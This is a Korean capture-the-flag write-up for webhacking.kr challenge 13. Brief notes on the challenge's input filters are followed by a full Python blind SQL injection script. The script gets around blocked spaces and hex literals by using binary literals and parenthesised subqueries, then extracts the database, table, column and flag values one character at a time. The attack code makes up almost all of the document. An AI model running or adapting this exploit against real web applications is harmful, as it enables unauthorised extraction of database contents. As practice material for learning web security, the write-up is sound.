Webhacking.kr_No13(1000) - old

문제를 보면 위의 제출 버튼을 누르는 입력 값에 값을 넣었을 때 result가 1 아니면 0이 나옵니다.

위의 GET 메소드 변수를 보니 String이 아닌 Integer 값인 것 같습니다.

여기서는 0x 값도 필터링 되어 있으니 0b로 수행하였습니다.

또한 띄어쓰기가 모두 필터링 되어 있어서 order by, limit(리밋은 문자 자체가 필터링) 등이 불가능하였고, select도 소괄호로 묶어서 수행하였습니다.

필터링 : 띄어쓰기관련 전부, hex, instr, 0x, limit, and, where 등..

import requests
import string
import re


requests.packages.urllib3.disable_warnings()
proxies     = {
    'http' : 'http://localhost:8888',
    'https': 'http://localhost:8888'
}
URL         = "https://webhacking.kr/challenge/web-10/?no="


def str2bin(string):
    return '0b'+''.join(format(ord(x), 'b').zfill(8) for x in string)

def ord2bin(number):
    return '0b'+format(number, 'b').zfill(8)

# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Database Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

dbLen       = 0

for i in range(100):
    payload = "if(length(database())in(0b%s),1,0)" % bin(i)[2:]
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found Database Length : %d" % i)
        dbLen = i
        break
    else:
        pass

bitLen      = 8
Database    = ""

for dblen in range(1, dbLen+1):

    tmpBit  = "" 

    for blen in range(1, bitLen+1):
        payload = "if(substr(lpad(bin(ord(substr(database(),%(dblen)s,1))),%(bitLen)s,0),%(blen)s,1)in(1),1,0)" % {"dblen" : dblen, "blen" : blen, "bitLen" : bitLen}
        res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

        if "<td>1</td>" in res.text:
            tmpBit += "1"
        else:
            tmpBit += "0"

    Database += chr(int(tmpBit,2))

print("[+] Database Name : %s" % Database)

#TableLen = [0 for x in range(1,TableCnt+1)]
#Min

# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Table Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Database    = "chall13"
TableLen    = 0

for i in range(200):
    payload = "if((select(length(min(if((select(table_schema)in(%(DatabaseBin)s)),table_name,null))))from(information_schema.tables))in(%(i)s),1,0)" % {"DatabaseBin" : str2bin(Database), "i" : i}
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found Table Min Length : %d" % i)
        TableLen = i
        break
    else:
        pass

TableName = ""

for tlen in range(1, TableLen+1):
    for binStr in range(20, 128):
        payload = "if((select(substr(min(if((select(table_schema)in(%(DatabaseBin)s)),table_name,null)),%(tlen)s,1))from(information_schema.tables))in(%(binStr)s),1,0)" % {"DatabaseBin" : str2bin(Database), "binStr" : ord2bin(binStr), "tlen" : tlen}
        res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

        if "<td>1</td>" in res.text:
            TableName += chr(binStr)
            break
        else:
            pass

    print("[+] Found Table Word[%d] : %s" % (tlen-1, TableName))

print("[+] Found Table Name : %s" % TableName)


# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Column Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
ColumnCnt   = 0

for i in range(1000):
    payload = "if((select(count(if((select(table_name)in(%(TableName)s)),column_name,null)))from(information_schema.columns))in(%(i)s),1,0);"
    payload = payload % {"TableName" : str2bin(TableName), "i" : i}
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found Table Count : %d" % i)
        TableCnt = i
        break
    else:
        pass


ColumnLen   = 0

for i in range(200):
    payload = "if((select(length(min(if((select(table_name)in(%(TableName)s)),column_name,null))))from(information_schema.columns))in(%(i)s),1,0)" % {"TableName" : str2bin(TableName), "i" : i}
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found ColumnLen Min : %d" % i)
        ColumnLen = i
        break
    else:
        pass



ColumnName = ""

for clen in range(1, ColumnLen+1):
    for binStr in range(20,128):
        payload = "if((select(substr(min(if((select(table_name)in(%(TableName)s)),column_name,null)),%(clen)s,1))from(information_schema.columns))in(%(binStr)s),1,0)" % {"TableName" : str2bin(TableName), "binStr" : ord2bin(binStr), "clen" : clen}
        res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

        if "<td>1</td>" in res.text:
            ColumnName += chr(binStr)
            break
        else:
            pass

    print("[+] Found Column Word[%d] : %s" % (clen-1, ColumnName))

print("[+] Found Column Name : %s" % ColumnName)


# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Flag 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Database    = "chall13"
TableName   = "flag_ab733768" # Table Name should be Lower Case
ColumnName  = "FLAG_3A55B31D"
ValueLen    = ""

for i in range(1000):
    payload = "if((select(length(max(%(ColumnName)s)))from(%(Database)s.%(TableName)s))in(%(i)s),1,0)"
    payload = payload % {"Database": Database, "TableName" : TableName, "ColumnName" : ColumnName, "i" : i}
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found Value Length : %d" % i)
        ValueLen = i
        break
    else:
        pass

Flag        = ""

for vlen in range(1,ValueLen+1):
    for binStr in range(20,128):
        payload = "if((select(substr(max(%(ColumnName)s),%(vlen)s,1))from(%(Database)s.%(TableName)s))in(%(binStr)s),1,0)"
        payload = payload % {"Database": Database, "TableName" : TableName, "ColumnName" : ColumnName, "vlen": vlen, "binStr" : ord2bin(binStr)}
        res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

        if "<td>1</td>" in res.text:
            print("[+] Found Flag Word[%d] : %s" % (vlen, chr(binStr)))
            Flag += chr(binStr)
            break
        else:
            pass


print("[+] Found Flag : %s" % Flag)